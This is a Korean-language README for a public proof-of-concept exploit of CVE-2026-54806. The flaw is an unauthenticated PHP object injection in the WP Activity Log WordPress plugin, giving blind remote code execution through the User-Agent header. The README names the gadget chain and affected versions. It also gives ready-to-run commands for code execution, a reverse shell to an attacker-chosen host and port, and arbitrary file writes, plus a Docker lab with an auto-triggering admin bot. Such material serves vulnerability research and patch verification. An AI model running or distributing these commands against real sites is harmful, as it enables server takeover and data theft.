CVE-2026-54806에 대한 개념 증명 익스플로잇: WP Activity Log 플러그인의 인증되지 않은 PHP 객체 주입으로 User-Agent 헤더를 통한 블라인드 RCE를 가능하게 합니다. 취약점 확인, 명령 실행, 리버스 셸, 파일 쓰기 기능과 자체 포함 Docker 랩을 포함합니다.
CVE-2026-54806은 Melapress의 WP Activity Log WordPress 플러그인(wp-security-audit-log)에서 발견된 치명적인(CVSS 9.8) 인증되지 않은 PHP 객체 주입 취약점입니다. 인증되지 않은 공격자는 기록된 이벤트(예: 로그인 실패)를 트리거하는 모든 요청의 User-Agent 헤더를 통해 직렬화된 PHP 객체를 주입할 수 있습니다. 주입된 페이로드는 데이터베이스에 저장되며, 관리자가 WordPress 대시보드를 방문할 때 제한 없이 역직렬화되어 블라인드 원격 코드 실행(공격자에게 출력이 반환되지 않음)으로 이어집니다.
영향받는 플러그인: WP Activity Log <= 5.6.3.1 (5.6.4에서 수정됨)
RCE 필요 조건: WordPress 6.4.0 - 6.4.1 — 이 PoC는 WP_HTML_Token 가젯을 사용합니다. 이는 sanitize_text_field()를 통과하고 255자 컬럼 제한에 맞는 모든 공개 속성을 가진 유일한 WP 코어 체인입니다.
--check를 통한 비파괴 탐지--command를 통해 명령 주입--shell을 통해 리버스 셸 주입--write-file을 통해 파일 쓰기git clone https://github.com/joshuavanderpoll/CVE-2026-54806.git
cd CVE-2026-54806
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-54806.git
cd CVE-2026-54806
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 cve-2026-54806.py -t <target> --check
python3 cve-2026-54806.py -t <target> --command <cmd>
python3 cve-2026-54806.py -t <target> --shell --lhost <ip> --lport <port>
python3 cve-2026-54806.py -t <target> --write-file <content> <path>
WordPress 6.4.1 + WP Activity Log 5.6.3.1이 포함된 자체 구성 실습 환경. 자세한 내용은 DOCKER.md를 확인하세요.
cd docker
docker compose up -d
python3 cve-2026-54806.py -t http://localhost:8080 --check
실습 환경에는 60초마다 대시보드를 방문하는 admin-bot이 포함되어 있어, 주입된 페이로드가 자동으로 실행됩니다 — 수동 조작이 필요하지 않습니다.
이 도구는 교육 및 연구 목적으로만 제공됩니다. 제작자는 이 도구로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.